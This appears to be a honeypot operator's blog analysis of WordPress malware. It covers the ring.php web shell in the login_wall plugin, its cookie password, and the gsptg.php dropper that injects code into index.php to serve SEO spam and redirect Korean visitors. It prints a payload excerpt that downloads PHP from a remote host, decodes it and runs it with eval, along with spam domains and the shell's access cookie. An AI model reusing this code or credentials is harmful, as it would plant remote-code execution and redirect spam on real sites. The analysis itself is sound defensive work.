IP address 192.154.105.154 has insisted on trying to access ring.php URLs.
Those accesses seem to always download a new piece of PHP, gsptg.php.
gsptg.php seems to try to convince web crawlers, spiders, search engines and bots
to come back often, but it also sends users either referred by .kr domains,
or using Korean language in their browsers off to new URLs.
Sucuri calls this Korean Gambling and Call Girl Spam. They seem to know a bit more about the "google-site-verification", and they've done a much better job of looking at what the cached PHP configuration contains.
The login_wall plugin (which is full of PHP malware)
includes ring.php,
a web shell.
The only invocations I've seen of ring.php are to download gsptg.php.
The download to my WordPress honey pot isn't particularly ordinary.
I modified the WSO (Web Shell by oRb) component of my WordPress honey pot
to recognize access via a URL ending in ring.php.
ring.php effectively has a password in a cookie named "_f_wp".
This download had a cookie named "_f_wp" with a value "G0YgIaXqx",
which allows the execution of ring.php.
An additional POST parameter named "fe" had a value of "upload".
This parameter means ring.php should upload a file.
The WSO component of my honey pot understands this,
and saved the uploaded code.
That code was to be named gsptg.php.
The uploaded file contains some obfuscated PHP.
All of the deobfuscation can be accomplished by changing an invocation of PHP's
builtin eval to print, executing the PHP and saving the output in a new file.
I ended up pretty-printing the de-obfuscated code for readability.
cp 192.154.105.154XLCpgV3KcffaYNVnWiywkAAAAAM.0.file dc1.php- Hand-edit
dc1.php, changing "eval" to "print". php dc1.php > dc2.php- Pretty-print
dc2.php, givingpp.dc2.php - Hand-edit
pp.dc2.phpintof2.phpso that it will run outside of an Apache mod_php context, and create filedc3.php. php f2.php- run the dropper. Use keyboard interrupt to stop the looping. See below.- Hand-edit
dc3.php, changing "eval" to "print". php dc3.php > dc4.phpdc4.phpis obscured similarly to the originalgsptg.php. Change "eval" to "print"php dc4.php > dc5.php.dc5.phpcontains the PHP that would end up inindex.phpifgsptg.phpran in the correct environment. Maybe.- Pretty printed
dc5.phpintopp.dc5.phpfor readability.
The coding style of gsptg.php is decent, albeit somewhat uneven.
Functions appear to be named according to two conventions:
_get_temp_dir_mass()- snake_case with an odd leading underscore.isBot()andhashCode()- camelCase.
The functions named with leading underscores are exceedingly paranoid. They try every method of determining an answer known to man. They always return an answer. The camelCase functions seem more typical of PHP malware - a little sloppy, they'll work most of the time but fail miserably in some corner cases.
The payload code, which ends up in index.php,
has the same ultra-paranoid-style functions,
names all beginning with "_", and a couple
of less-paranoid, more typical malware-ish
functions named in camelCase.
The attacker's file gsptg.php is actually little more than a dropper.
The dropper starts by composing no more than 2 file names,
both ending in "index.php".
One path ends up as index.php in Apache's DocumentRoot directory.
The optional second path ends up as index.php
in the WordPress directory.
If either or both of the index.php files do not contain the string "shaputiangou1",
the dropper writes some obfuscated PHP into the file.
The dropper also creates an empty marker file named "shaputiangou.txt".
The string "shaputiangou1" exists in the obfuscated PHP to keep an index.php
file on a compromised WordPress site from getting written to by another instance
of the dropper more than once.
This would imply that the login_wall plugin
gets uploaded to a given compromised WordPress site more than once
often enough for double-injecting to consistute an irritation.
I'm not sure what the empty file shaputiangou.txt does.
Nothing else seems to reference it.
The dropper also appears to be fatally flawed.
A PHP foreach loop over the file names it decides on,
appears in the dropper twice.
If the first foreach loop fails,
the dropper repeats code that is identical to the first foreach
loop, guaranteeing another failure.
The second foreach loop could also easily fall into an infinite
loop, if the dropper can't create a file named "shaputiangou.txt".
A PHP while loop surrounds the second foreach loop,
with a boolean loop test that always comes out as true.
The code written to one or more index.php files
would execute its payload then execute WordPress via
@(require dirname(__FILE__) . "/wp-blog-header.php");
I'm not certain how Apache web server's mod_dir.so,
would interact with the payload code.
Certainly Apache would invoke the index.php file in the WordPress directory,
which in turn would invoke WordPress.
If you don't know that injected code exists,
it probably appears that WordPress works perfectly fine.
The interaction with mod_dir.so would happen if the payload gets
invoked as something other than / or index.php.
The payload code performs different actions when invoked as different URLs.
It's possible this is multipurpose malware,
sometimes installed under file names other than index.php
If the URL it gets invoked by has "sitemap.xml" in it, the payload code composes a Google site map XML file.
I hacked the code out of payload.php that does this.
I'm no expert at Google site maps,
but the XML file it generates looks like it claims 100 randomly-named URLs are refreshed daily.
At the very least, this should get sensible spiders (like, perhaps, Googlebot) to revisit the compromised WordPress site daily.
die('google-site-verification: google16e3a357341375c6.html');
This is a way to verify to Google
that you own a particular site.
The attacker(s) may get google analytics on sites were gsptg.php gets invoked this way.
The "google16e3a357341375c6.html" named shows up elsewhere on the web.
If the invoking URL isn't "google16e3a357341375c6.html" or "sitemap.xml", the payload code looks at th referring site, and the language preference sent by the user's browser.
"ko" is "Korean", right?
if (strpos(strtolower(@$_SERVER['HTTP_REFERER']), ".kr") !== false || strpos(strtolower(@$_SERVER['HTTP_ACCEPT_LANGUAGE']), "ko") !== false) {
$local_url = _local_url();
$html = base64_decode(_get_between(_get_cache('http://god.sm79.xyz/api.php?g=gitt'), "->|", "|<-"));
eval($html);
$Data_arr = _get_static_arr($local_url . 'Data_arr', $Main_arr["data"]);
$sc_arr = explode('|', _get_static_arr($local_url . "sitel1", $Data_arr['site']));
die('<!DOCTYPE html><html><body><script>document.location=("' . @trim($sc_arr[0]) . '");</script></body></html>');
}
Apparently this sends back JavaScript that redirects the accessor's browser to some other URL. The other URL depends on what URL the payload is invoked by. Some PHP gets downloaded from http://god.sm79.xyz/api.php. A domain name gets chosen from that PHP via hashing the invoking URL. The PHP downloaded gets cached for re-use later.
The cached PHP is a very elaborate hash-of-hashes, but I believe that in the example PHP I downloaded, a Korean human would end up getting redirected to one of:
- http://mss798.com
- http://tpe863.com
- http://ntk455.com
- http://wpf636.com
- http://qbx488.com
- http://fkh846.com
These are all hidden behind CloudFlare IP addresses. CloudFlare denied my access of the URLs.
The payload code caches the PHP it downloads from http://god.sm79.xyz/api.php. It appears like it has a lot more info in it than the payload code uses.
If a user's browser isn't referred to the payload by a .kr domain name, or the user's language preferences don't include Korean, the payload checks to see if the browser is actually a "bot".
function isBot()
{
return isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/bot|crawl|spider|mediapartners|slurp|patrol/i', $_SERVER['HTTP_USER_AGENT']);
}
A little weak, but it probably detects 80% of all crawlers/spiders/search engines. A bot could circumvent the check by not sending a User Agent string at all.
The first time the payload code decides a bot has accessed it, it downloads and caches PHP from the same URL the Korean-redirector section of the payload uses. This part of the code uses a different section of the downloaded, cached PHP.
The DNS name that the payload code downloads its cached config from is behind CloudFlare IP adresses:
Non-authoritative answer:
Name: god.sm79.xyz
Address: 104.27.169.102
Name: god.sm79.xyz
Address: 104.27.168.102
Name: god.sm79.xyz
Address: 2606:4700:30::681b:a866
Name: god.sm79.xyz
Address: 2606:4700:30::681b:a966
NetRange: 104.16.0.0 - 104.31.255.255
CIDR: 104.16.0.0/12
NetName: CLOUDFLARENET
NetHandle: NET-104-16-0-0-1
Parent: NET104 (NET-104-0-0-0-0)
OriginAS: AS13335
Organization: Cloudflare, Inc. (CLOUD14)
GoDaddy provides domain name hosting, whatever that means for something behind CloudFlare.
Domain Name: SM79.XYZ
Registry Domain ID: D83669519-CNIC
Updated Date: 2019-03-17T15:11:03.0Z
Creation Date: 2018-11-17T05:38:35.0Z
Registry Expiry Date: 2019-11-17T23:59:59.0Z
Registrar: Go Daddy, LLC